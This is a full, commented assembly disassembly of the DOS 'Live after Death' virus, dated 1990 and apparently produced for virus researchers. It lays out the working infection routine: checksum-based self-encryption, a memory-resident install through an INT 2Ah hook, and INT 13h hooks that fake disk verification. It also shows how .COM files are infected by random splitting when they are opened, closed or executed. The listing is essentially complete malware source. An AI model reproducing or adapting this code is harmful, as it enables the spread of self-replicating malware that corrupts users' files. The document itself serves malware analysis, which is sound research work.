	page	,132
	name	V800
	title	The 'Live after Death' virus
	.radix	16

; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º  Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", ap. 51        º
; º  Telephone: Private: (+35-92) 58-62-61, Office: (+35-92) 71-401 ext. 255 º
; º									     º
; º			   The 'Live after Death' Virus                      º
; º		    Disassembled by Vesselin Bontchev, May 1990 	     º
; º									     º
; º		     Copyright (c) Vesselin Bontchev 1989, 1990 	     º
; º									     º
; º	 This listing is only to be made available to virus researchers      º
; º		   or software writers on a need-to-know basis. 	     º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼

; The disassembly has been tested by re-assembly using MASM 5.0.

code	segment
	assume	cs:code, ds:code

	org	100

timer	equ	46C
v_len	=	v_end-v_entry

start:
	jmp	v_entry 	; JMP to the virus code

	db	900d dup (90)	; The beginning of the infected program

v_entry:			; The virus body begins here
	cli			; Disable interrupts
	xchg	ax,bp		; Save AX

	call	self		; Point SI at the start of the encrypted part
self:
	pop	si		; Get current address
	add	si,19		; (v_start-self) Length of the decryption part

	cld			; Clear direction flag
	mov	di,si		; Point DI at v_start too
	xor	dx,dx		; DX := 0 (the checksum is formed there)
	mov	cx,(v_end-v_start)/2	; The length of the encrypted part
	push	cx		; Save it on stack
do_chksum:			; Compute the checksum of the encrypted part
	lodsw			; Get word
	xor	dx,ax		; ChkSum ^= Word
	loop	do_chksum	; Loop until done
	pop	cx		; Restore length (in words) in CX

; Decrypt the encrypted part. XOR every word of it with the computed checksum.

decrypt:
	xor	[di],dx 	; XOR a word
	inc	di		; Point to the next one
	inc	di
	loop	decrypt 	; Loop until done

; The code beyond this point was encrypted. If this source is
; assembled now, it won't run, since the decryption part will
; scramble it. To produce a 'live' virus, the following code
; must be encrypted "manually" (i.e., with another program)
; after assembly.

v_start:

; Adjust SI to point at v_entry (it currently points at v_end):

	add	si,v_entry-v_end

	mov	bx,sp		; Install a new stack at the
	mov	cl,4		;  program's end - just to be sure
	shr	bx,cl		;  that the original one won't
	inc	bx		;  corrupt the virus
	mov	ax,ss
	add	bx,ax

	mov	cx,v_len/2	; CX := virus length in words
	mov	di,4
	mov	ax,[di-2]	; Get TopMem segment (_psp [2])

	dec	dx		; Subtract 1 from the checksum

	push	ds		; Save DS & checksum on the stack
	push	dx

	mov	dx,ds		; DX := DS

	mov	ds,di		; Check if INT 2Ah is intercepted by a
	cmp	ax,[di+(2A*4+2-(4*10+4))]	;  program at TopMem
	je	in_mem		; Virus present in memory if so

; Virus not in memory. Install it there:

	sub	ah,2		; Reserve 8 K memory (?!)
	cmp	bx,ax		; Enough memory?
	jae	no_mem		; Exit if not
	dec	di		; Point DI at TopMem
	dec	di
	stosw			; Lower TopMem by 8 K

	dec	dx		; Point ES at program's MCB
	mov	es,dx
	sub	byte ptr es:[di],2	; Lower MCB's size by 8 K too

; Install the new INT 2Ah handler. This interrupt (funcrion 82h) is
; called by PC-DOS on every file-related function. Thus, the virus
; gets control without even intercepting INT 21h!

	mov	[di+(2A*4+2-(4*10+4))],ax	; Segment
in_mem:
	mov	word ptr [di+(2A*4-(4*10+4))],int_2A-v_entry	; Offset

	push	ax
	les	bx,[di+(13*4-(4*10+4))] ; Get the current INT 13h handler
	mov	ah,13		; Get the original INT 13h handler
	int	2F		;  (DOS 3.30 only)
	mov	cs:[si+do_it_i+1-v_entry],bx	; Save the found vector as a
	mov	cs:[si+do_it_i+1+2-v_entry],es	;  Far JMP in the virus body
	mov	ah,13		; Restore the internal (DOS) INT 13h handler
	int	2F

	mov	ax,es		; Get INT 13h handler's segment in AX

	push	cs		; DS := CS
	pop	ds

; Compare the segment of the found INT 13h handler with the
; one, stored as a Far JMP. If they match, this means that
; the virus is already present in memory (i.e., loaded for
; a multiple infected file).

	les	bx,[si+do_it_i+1-v_entry]
	cmp	ax,[si+do_it_i+1+2-v_entry]	; Virus already in memory?
	pop	ds		; Restore DS
	pushf			; Save the result of the comparision on stack

	push	ds		; Save DS
	mov	dx,int_13i-v_entry	; Install new internal INT 13h handler
	mov	ah,13		; Do it
	int	2F
	pop	es		; ES := saved DS

	xor	di,di		; DI := 0

	push	si		; Save SI & CX
	push	cx

; Move the virus body in the allocated segment at TopMem:

	rep	movs word ptr es:[di],word ptr cs:[si]

	push	es		; ES := DS
	pop	ds

	mov	[di+0A],cl	; Zero old_op

	pop	cx		; Restore CX & SI
	pop	si

	pop	[di+8]		; flags (i.e. - virus installed)
	pop	[di+6]		; chksum-1

no_mem:
	pop	es		; Clear the stack
	sti			; Enable interrupts

	push	cs		; DS := CS
	pop	ds

	mov	di,offset start-2	; DI := 0FEh
	push	di		; Push this value in the stack
	mov	ax,0A5F3	; Store REP MOVSW there
	stosw
	push	si		; Save SI
	add	si,first3-v_entry	; Point SI at the saved first 3 bytes
	movsw			; Restore the original first 3
	movsb			;  bytes of the file
	pop	di		; DI := saved SI
	lodsw			; Get the offset at which the file was split
	xchg	ax,si		; Put it in SI
	add	si,offset start ; Adjust it with the PSP length
	xchg	ax,bp		; Restore AX (to keep DISKCOPY happy)

; On the top of stack now there is 0FEh. Therefore, the RET instruction
; will transfer the control to the program at this address. And at this
; address there is the REP MOVSW instruction (put there by the virus).
; Therefore, it will restore the second part of the file (split by the
; virus) and will begin to execute it from the beginning (the first 3
; bytes are already restored).

	ret

; Infection routine:

infect:
	push	cx		; Save registers used
	push	dx
	push	si
	push	di
	push	ds
	push	es

	xor	cx,cx		; DS := AX := 0; CX = function
	xchg	ax,cx
	mov	ds,ax

	push	cs		; ES := CS
	pop	es

	mov	di,do_it+1-v_entry	; Install new INT 13h handler
	mov	si,13*4
	mov	ax,int_13-v_entry	; New handler's offset
	xchg	ax,[si]
	stosw			; Save the old one as a Far JMP
	push	ax		; Save it on the stack too

	mov	ax,es		; Do the same with the handler's segment
	xchg	ax,[si+2]
	stosw
	push	ax

	mov	ax,int_24-v_entry	; Install new INT 24h handler
	xchg	ax,[si+24*4-13*4]
	push	ax		; Save the old one on the stack

	mov	ax,es		; Do the same with the handler's segment
	xchg	ax,[si+24*4-13*4+2]
	push	ax

	push	ds		; Save DS & SI (0 and 13*4 respectively)
	push	si

	xor	dl,dl		; Turn Ctrl-Break checking off
	mov	ax,3302 	;  and get the old checking state
	int	21
	push	dx		; Save state on stack

	mov	ax,1220 	; Get system file table number in ES:DI
	int	2F		; Do it
	jc	inf_xit 	; Exit on error

	push	bx		; Save BX
	mov	bl,es:[di]	; Put system file table number in BL
	mov	ax,1216 	; Get address of system FCB in ES:DI
	int	2F		; Do it
	pop	bx		; Restore BX
	jc	inf_xit 	; Exit on error

	mov	si,ds:[timer]	; Load SI with a random value

	push	es		; DS := ES
	pop	ds

	mov	cl,80		; Prepare to test if it's a disk file

	cmp	ch,3E		; Close file operation requested?
	jne	dont_dup	; Don't duplicate handle if so
	mov	ah,45		; Otherwise do it
	int	21
	jc	inf_xit 	; Exit on error
	xchg	ax,bx		; Save handle in BX

; Prepare to test for disk file and wheather file has been written:

	mov	cl,0C0

dont_dup:
	and	cl,[di+5]	; Test the Device Info Word
	jnz	inf_xit 	; Exit if test fails

	xor	dx,dx		; DX := 0

	cmp	dx,[di+13]	; Is file size > 64 K?
	jne	inf_xit 	; Exit if so
	mov	ax,[di+28]	; Get the first 2 bytes of the file extension
	cmp	ax,'XE'         ; .EXE-file?
	je	chk_last	; Go check the last letter too
	cmp	ax,'OC'         ; Maybe it's a .COM-file?
	jne	chk_exec	; If not, try to infect it only on execution
	cmp	ax,[di+20]	; Is this the file "COMM*.CO*"?
	mov	ax,'MM'
	jne	chk_last	; If not, check wheather it really has
	cmp	ax,[di+22]	;  a .COM extension
	je	inf_xit 	; Otherwise exit
chk_last:
	cmp	al,[di+2A]	; Check the last letter of file's extension
	je	chk_len 	; Check the file size if name does match
chk_exec:
	cmp	ch,4Bh		; Exec function requested?
	jne	inf_xit 	; Exit if not

; Check if file length fits in the infectable intervals.
; The infectable intervals are:
;	1024 -	8191	( 0400h -  1FFFh)
;	9216 - 16383	( 2400h -  3FFFh)
;      17408 - 24575	( 4400h -  5FFFh)
;      25600 - 32767	( 6400h -  7FFFh)
;      33762 - 40959	( 8400h -  9FFFh)
;      41984 - 49151	(0A400h - 0BFFFh)
;      50176 - 57343	(0C400h - 0DFFFh)
;      58368 - 64511	(0E400h - 0FBFFh)

chk_len:
	test	byte ptr [di+12],00011100b
	jz	inf_xit 	; Exit if not in an infectable interval
	cmp	byte ptr [di+12],11111100b
	jb	len_ok

inf_xit:			; File not suitable for infection
	jmp	close		; Close it and exit

len_ok:
	mov	ax,[di+11]	; Get file size (from the internal FCB)
	xchg	ax,si		; Put it in SI (the random value is now in AX)
	xchg	al,ah		; "Randomize" it a bit more
	push	si		; Save SI (pointed at file end)

; Compute in DX the random position at which the file will be split:

	sub	si,3
	div	si		; DX := ((f_size - 3) mod rand ()) + 3
	add	dx,3

	lds	si,[di+7]	; Get Device Control Block info
	cmp	byte ptr [si+8],2	; Is the number of FATs >= 2? (?!)
	pop	si		; Restore SI (to point at file end)
	jb	inf_xit 	; Exit if not (only 1 FAT, that is)
	mov	byte ptr es:[di+2],10b	; Set file open mode to writable
	xor	ax,ax
	xchg	ax,es:[di+15]	; Get file position in AX and seek to file beg.
	push	ax		; Save original position on stack

	push	cs		; DS := CS
	pop	ds

	push	dx		; Save computed split position on stack

	mov	dx,first3-v_entry
	mov	cx,3		; Read the first 3 bytes of the file
	mov	ah,3F		;  and save them in the virus body
	int	21		; Do it

	pop	ax		; Restore split position from stack

	jc	xit1		; Exit on error
	mov	es:[di+15],ax	; Seek at split position
	sub	ax,3		; Form a JMP instruction to that position
	mov	ds:[jmp_adr-v_entry],ax ;  at jmp_op

	mov	ax,ds:[first3-v_entry]	; Get the first 2 bytes of the file
	cmp	ax,'ZM'         ; Is it an .EXE-type file?
	je	xit2		; Exit if so
	cmp	ax,'MZ'         ; Double check for .EXE-files
	je	xit2		; Exit if such file

	mov	dx,buffer-v_entry
	mov	cx,v_len	; Read the original (up to v_len)
	mov	ah,3F		;  bytes into the buffer
	int	21		; Do it
xit1:
	jc	xit2		; Exit on error

; Get the number of bytes read in CX and put the virus length in AX:

	xchg	ax,cx

; SI points at file end. Add the virus length to get the new file size:

	add	si,ax

; Now subtract the number of bytes read in, just to compute
; the offset from the beginning of the file, at which the
; second part of the splitted file has to be written:

	sub	si,cx

	mov	es:[di+15],si	; Seek at the computed offset
	mov	ah,40		; Write the original second part of the file
	int	21		; Do it
	jc	xit2		; Exit on error
	sub	ax,cx		; All bytes written?
	jnz	xit2		; Exit on error

	xchg	ax,si		; SI := 0; AX := split position
	mov	ds:[split-v_entry],ax	; Save split position in the virus body
	mov	ax,ds:[jmp_adr-v_entry] ; Get the computed new JMP address
	add	ax,3
	mov	es:[di+15],ax	; And seek to that address in the file

	push	dx		; Save DX (currently points at the buffer area)
	xor	dx,dx		; DX := 0 (the checsum is formed there)
	mov	cx,v_len/2	; Virus length in words

; Compute the new checksum of the virus and use it to encrypt the virus:

encrypt:
	lodsw			; Get a word from the virus body
	db	81, 0FE, 20, 0	; I was unable to make MASM generate this (?!)
;	cmp	si,v_start-self+1
	jb	no_crypt	; Don't encrypt the decryption part
	xor	ax,ds:[chksum-v_entry]	; Compute the checksum
	xor	dx,ax
no_crypt:
	mov	word ptr [si+(data_1-v_entry)],ax	; Encrypt with it
	loop	encrypt 	; Loop until done

	xor	dx,ds:[chksum-v_entry]	; Save the checksum
	xor	[si+2F3],dx	; (?!)
	pop	dx		; Restore DX (to point to the buffer area)

	mov	cx,v_len	; Write the virus body in the file
	mov	ah,40
	int	21		; Do it
	jc	xit2		; Exit on error
	sub	ax,cx		; All bytes written?
	jnz	xit2		; Exit on error

	mov	es:[di+15],ax	; Seek to file beginning (AX == 0 now)

	mov	dx,jmp_op-v_entry
	mov	cx,3		; Overwrite the first 3 bytes of the file
	mov	ah,40		;  with a JMP to the virus code
	int	21		; Do it

xit2:
	pop	word ptr es:[di+15]	; Restore file position
	or	byte ptr es:[di+6],40	; Set 'File Modified' bit

close:
	mov	ah,3E		; Close the file
	int	21

	pop	dx		; Restore Ctrl-Break state from stack
	mov	ax,3301 	; Set old Ctrl-Break state
	int	21

	pop	si		; Restore SI & DS (13*4 and 0 respectively)
	pop	ds

	pop	word ptr [si+24*4+2-13*4]	; Restore the old
	pop	word ptr [si+24*4-13*4] ;  INT 24h handler
	pop	word ptr [si+2] ; Restore the old INT 13 handler
	pop	word ptr [si]

	pop	es		; Restore used registers
	pop	ds
	pop	di
	pop	si
	pop	dx
	pop	cx
	ret			; Done. Exit

; New INT 2Ah, subfunction 82h handler. DOS calls
; this function on every file-related operation.

int_2A:
	push	si		; Save registers used
	push	di
	push	bp
	push	ds
	push	es

	mov	bp,sp
	cmp	ah,82		; Function 82h?
	jne	int2A_xit	; Exit if not
	mov	ax,ds		; Is the current DS equal to caller's CS?
	cmp	ax,[bp+0C]
	jne	int2A_xit	; Exit if not

	mov	si,[bp+0A]	; Get the byte at caller's CS:IP
	lodsb
	cmp	al,0CC		; Is it an INT3 instruction?
	je	int2A_xit	; Exit if so

	mov	ax,1218 	; Get caller's registers
	int	2F
	les	di,[si+12]	; CS:IP, more exactly
	cmp	byte ptr es:[di],0CC	; Is there an INT3 instruction?
	je	int2A_xit	; Exit if so

	mov	ax,cs		; Called from the current segment
	cmp	ax,[si+14]	;  (i.e., from the virus)?
	je	int2A_xit	; Exit if so

	cmp	word ptr es:[di-2],21CDh	; Called from INT 21h?
	jne	int2A_xit	; Exit if not

	push	cs		; ES := CS
	pop	es

	mov	di,v_len	; Point ES:DI at virus length
	lodsw			; Get caller's AX
	mov	bp,ax		; Save it in BP
	sub	ah,3Dh		; Open file handle function requested?
	je	ok4inf		; OK for infection if so
	dec	ah		; Close file function requested?
	je	ok4inf		; OK for infection if so
	sub	ah,0Dh		; Exec function requested?
	jne	int2A_xit	; Exit if not
	cmp	al,2		; Subfunctions 0 or 1?
	jae	int2A_xit	; Exit if not

; Now AH == 0. Check to see if count (ES:[DI-3E]) is zero too.
; If it's not, that would mean that this file handle belongs
; to an already infected by the virus file.

ok4inf:
	cmp	ah,es:[di-3E]	; Is count equal to zero?
	mov	cs:[di-3E],ah	; Zero count
	jne	int2A_xit	; Exit if not
	mov	bl,0C2		; Othewise scramble BX (?!)

; Get the caller's CS:IP and save them as a Far JMP (just at v_end).
; Also, modify them to point at the program at loc_1. In this way,
; when the INT 2Ah handler terminates, the program at loc_1 will
; receive control. It will (eventually) infect the file and then
; perform a Far JMP to the place, where INT 2Ah was called.

	mov	ax,loc_1-v_entry	; Offset
	xchg	ax,[si+10]	; Shouldn't it be [si+14]? (?!)
	dec	ax
	dec	ax
	stosw
	mov	ax,cs		; Segment
	xchg	ax,[si+12]
	stosw

	xchg	ax,bp		; Restore AX from BP
	stosw			; And save it in old_ax

int2A_xit:
	pop	es		; Restore used registers
	pop	ds
	pop	bp
	pop	di
	pop	si

; New INT 24h handler. Just terminate; AH
; already contains the suggested action.

int_24:
	iret			; End of INT 2Ah and INT 24h handlers

int_13i:			; New internal INT 13h handler
	cmp	byte ptr cs:[old_op-v_entry],0	; Iterrupt called from virus?
	je	do_it_i 	; If not, just perform it "as is"
	xor	ah,ah		; Else zero the old_op flag and call the
	xchg	ah,byte ptr cs:[old_op-v_entry] ; interrupt with the true value
do_it_i:
	db	0EA, 71, 0A9, 0, 0F0	; Far JMP to old intern INT 13h handler

int_13: 			; New INT 13h handler
	mov	byte ptr cs:[old_op-v_entry],ah
	cmp	ah,4		; VERIFY operation specified?
	je	verify		; Return OK without performing it
	cmp	ah,3		; WRITE operation requested?
	jne	do_it		; Just execute the old handler if not
	push	cs:[flags-v_entry]
	popf			; What was the flags state?
	jz	do_it_i 	; Execute operation if flags OK
	dec	ah		; Otherwise fake a READ operation
do_it:
	db	0EA, 1F, 1Dh, 70, 0	; Far JMP to old INT 13h handler
verify:
	sub	ax,ax		; Return 'No errors' (AX == 0 && CF == 0)
	sti			; Enable interrupts
	retf	2		; Done. Exit

count	db	1		; Counter how many times the file is infected
first3	db	0E9, 0F8, 3	; The first 3 bytes of the file
split	dw	6A7		; Address at which the file was split
	dw	46BC		; (?!)
jmp_op	db	0E9		; Here a JMP to the virus code is formed
jmp_adr dw	384		; The addres at which is JMPed

	db	0, 'Live after Death', 0

loc_1:
	pushf			; Save Flags
	cli			; Disable interrupts
	push	bx		; Save BX
	cld			; Clear direction flag
	inc	byte ptr cs:[count-v_entry]	; Increment infection counter
	cmp	ah,3E		; CLOSE function call?
	je	do_inf		; Just infect file if so
	xchg	ax,bx		; Otherwise get handle in BX
	mov	ax,3D00 	; Open the file for Reading only
	int	21
	jc	dont_inf	; Don't infect if an error occured
	xchg	ax,bx		; Get handle in BX
do_inf:
	call	infect		; Infect the file
dont_inf:
	mov	ax,cs:[old_ax-v_entry]	; Restore caller's AX
	pop	bx		; Restore BX
	popf			; Restore Flags

; Here is formed a Far JMP to the program, which called INT 2Ah, function 82h:

	db	0EA

v_end	equ	$		; End of virus code
old_ax	equ	v_end+4 	; Place to store caller's AX
chksum	equ	old_ax+2	; Here a checksum is formed for encryption
flags	equ	chksum+2	; Flag
data_1	equ	flags+1 	; (?!)
old_op	equ	data_1+1	; The last INT 13h operation
buffer	equ	old_op+1	; Program I/O buffer

	db	116d dup (90)	; The second part of the infected program

	mov	ax,4C00 	; Exit program
	int	21

code	ends
	end	start

